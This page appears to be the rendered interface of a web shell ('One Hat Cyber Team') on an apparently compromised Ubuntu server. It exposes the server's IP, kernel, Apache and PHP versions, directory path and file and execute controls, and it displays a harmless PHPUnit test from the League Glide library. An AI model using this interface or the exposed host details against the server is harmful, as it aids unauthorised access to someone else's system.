⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.180
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
league
/
glide
/
tests
/
Urls
/
View File Name :
UrlBuilderTest.php
<?php namespace League\Glide\Urls; use League\Glide\Signatures\Signature; class UrlBuilderTest extends \PHPUnit_Framework_TestCase { public function testCreateInstance() { $this->assertInstanceOf('League\Glide\Urls\UrlBuilder', new UrlBuilder()); } public function testGetUrl() { $urlBuilder = new UrlBuilder('http://example.com'); $this->assertEquals( 'http://example.com/image.jpg?w=100', $urlBuilder->getUrl('image.jpg', ['w' => '100']) ); } public function testGetUrlWithNoDomain() { $urlBuilder = new UrlBuilder(); $this->assertEquals( '/image.jpg?w=100', $urlBuilder->getUrl('image.jpg', ['w' => '100']) ); } public function testGetUrlWithDomainAndPort() { $urlBuilder = new UrlBuilder('http://localhost:8000'); $this->assertEquals( 'http://localhost:8000/image.jpg?w=100', $urlBuilder->getUrl('image.jpg', ['w' => '100']) ); } public function testGetUrlWithProtocolRelativeDomain() { $urlBuilder = new UrlBuilder('//localhost:8000'); $this->assertEquals( '//localhost:8000/image.jpg?w=100', $urlBuilder->getUrl('image.jpg', ['w' => '100']) ); } public function testGetUrlWithToken() { $urlBuilder = new UrlBuilder('http://example.com', new Signature('example-sign-key')); $this->assertEquals( 'http://example.com/image.jpg?w=100&s=e1b69d4b79ecf33283128819fd008906', $urlBuilder->getUrl('image.jpg', ['w' => '100']) ); } public function testGetInvalidUrl() { $this->setExpectedException('\InvalidArgumentException', 'Not a valid path.'); $urlBuilder = new UrlBuilder(':80'); $urlBuilder->getUrl('image.jpg'); } }